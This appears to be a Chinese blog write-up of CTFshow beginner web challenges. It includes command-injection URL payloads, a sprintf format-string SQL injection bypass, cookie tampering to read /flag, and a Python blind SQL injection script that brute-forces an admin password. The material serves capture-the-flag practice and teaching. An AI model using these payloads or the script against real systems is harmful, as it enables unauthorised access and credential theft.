CTFshow萌新赛
本文最后更新于 11 天前,其中的信息可能已经有所发展或是发生改变。

Web

签到

<?php 
if(isset($_GET['url'])){
      system("curl https://".$_GET['url'].".ctf.show");
}else{
      show_source(__FILE__);
}
?>

进去就是源码

考察命令执行

?url=;ls;
?url=;cat flag;
用||也一样可以

给她

dirsearch扫一下,发现存在git文件

用GitHack扫一下,获得源码

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

sql限制,利用的原理是%1$\为空,所以我们构造%1$'单引号前的转义符会被置空(函数有漏洞)

?name=admin&pass=%1$' or 1=1--+

404了,但是提示了

flag in /flag

多了cookie,感觉像加密,解密后发现是flag.txt(hex)

感觉脑洞了,说flag在/flag下

那就对flag进行编码,然后替换它的cookie

成功得到flag

假赛生

提示:register.php login.php 大佬们别扫了

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
  show_source("index.php");
}else{
  $name=$_SESSION['name'];
  $sql='select pass from user where name="'.$name.'"';
  echo $sql."<br />";
  system('4rfvbgt56yhn.sh');
  $query=mysqli_query($conn,$sql);
  $result=mysqli_fetch_assoc($query);
  if($name==='admin'){
      echo "admin!!!!!"."<br />";
      if(isset($_GET['c'])){
          preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
          echo $flag;
      }else{
          echo "you not admin";
      }
  }
}
?>

审一下,就是要以admin身份呗,然后传参

但是直接注册admin不允许,这边用admin+空格绕过

[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"

c不知道传啥,结果啥都不传,得到flag,居然还可以这样

萌新记忆

dirsearch扫一下,出现了登陆页

这边用户名直接试试了admin,密码随便,回显密码错误

说明用户名就是admin

fuzz一下,发现过滤了or,可以用||替代,注释符号也被过滤了

对密码进行爆破

import requests
url="http://4d08b415-e79f-4eb8-84dd-db10d57f5e8a.challenge.ctf.show/admin/checklogin.php"
letter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(1,20):
  for j in letter:
      payload=f"'||substr(p,{i},1)<'{j}"
      data={
          'u':payload,
          'p':1
          }
      res=requests.post(url=url,data=data).text
      print(res)
      if "密码错误" == res:
          flag += chr(ord(j)-1)
          print(flag)
          break
           
-------------执行结果--------------
cptbtptpbcptdtptp//

说明密码是17位

解释一下脚本的payload:

payload="'||substr(p,{},1)<'{}".format(i,j)
data={
          'u':payload,
          'p':1
          }

这个对u参数传入我们的payload,然后p参数随便输入的

其中'是为了闭合u参数的(用于闭合原 SQL 语句中 username 部分的单引号,破坏原有的查询结构),

SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
//这么展示一下应该就清晰明了了吧

也就是使得我们后面的爆破语句,可以实现对p参数的爆破,从而达到效果

脚本还是很简单的

数学及格了

进入不去网址,后面才知道是因为靶机炸了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇